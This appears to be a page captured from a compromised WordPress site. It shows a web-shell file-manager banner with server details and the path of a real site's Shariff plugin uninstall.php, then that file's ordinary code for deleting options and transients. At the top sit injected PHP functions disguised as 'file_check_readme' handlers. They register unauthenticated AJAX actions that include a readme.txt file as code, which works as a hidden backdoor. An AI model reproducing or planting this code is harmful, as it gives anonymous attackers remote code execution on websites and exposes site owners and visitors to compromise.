if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs20250613/wp-content/plugins/shariff/uninstall.php
<?php
/**
 * Delete options upon uninstall to prevent issues with other plugins and leaving trash behind.
 *
 * @package WordPress
 */

// Exit, if uninstall.php was not called from WordPress.
if ( ! defined( 'WP_UNINSTALL_PLUGIN' ) ) {
	die();
}

// Delete options (even old ones), remove cron job and clear cache.
if ( is_multisite() ) {
	global $wpdb;
	// phpcs:ignore
	$blogs = $wpdb->get_results( "SELECT blog_id FROM {$wpdb->blogs}", ARRAY_A );
	if ( $blogs ) {
		foreach ( $blogs as $blog ) {
			// Switch to each blog.
			switch_to_blog( $blog['blog_id'] );
			// Delete options from options table.
			delete_option( 'shariff3UU' );
			delete_option( 'shariff3UU_basic' );
			delete_option( 'shariff3UU_design' );
			delete_option( 'shariff3UU_advanced' );
			delete_option( 'shariff3UU_mailform' );
			delete_option( 'shariff3UU_statistic' );
			delete_option( 'widget_shariff' );
			delete_option( 'shariff3UU_hide_update_notice' );
			delete_option( 'shariff3uu_basic' );
			delete_option( 'shariff3uu_design' );
			delete_option( 'shariff3uu_advanced' );
			delete_option( 'shariff3uu_mailform' );
			delete_option( 'shariff3uu_statistic' );
			// Purge transients.
			shariff3uu_purge_transients();
			// Remove cron job.
			wp_clear_scheduled_hook( 'shariff3UU_fill_cache' );
			// Switch back to main.
			restore_current_blog();
		}
	}
} else {
	// Delete options from options table.
	delete_option( 'shariff3UU' );
	delete_option( 'shariff3UU_basic' );
	delete_option( 'shariff3UU_design' );
	delete_option( 'shariff3UU_advanced' );
	delete_option( 'shariff3UU_mailform' );
	delete_option( 'shariff3UU_statistic' );
	delete_option( 'widget_shariff' );
	delete_option( 'shariff3UU_hide_update_notice' );
	delete_option( 'shariff3uu_basic' );
	delete_option( 'shariff3uu_design' );
	delete_option( 'shariff3uu_advanced' );
	delete_option( 'shariff3uu_mailform' );
	delete_option( 'shariff3uu_statistic' );
	// Purge transients.
	shariff3uu_purge_transients();
	// Remove cron job.
	wp_clear_scheduled_hook( 'shariff3UU_fill_cache' );
}

/**
 * Helper function to purge all the transients associated with our plugin.
 */
function shariff3uu_purge_transients() {
	// Make sure we have the $wpdb class ready.
	if ( ! isset( $wpdb ) ) {
		global $wpdb;
	}
	// Delete transients.
	// phpcs:disable
	$wpdb->query( 'DELETE FROM ' . $wpdb->options . ' WHERE option_name LIKE "_transient_timeout_shariff%"' );
	$wpdb->query( 'DELETE FROM ' . $wpdb->options . ' WHERE option_name LIKE "_transient_shariff%"' );
	// phpcs:enable
	// Clear object cache.
	wp_cache_flush();
}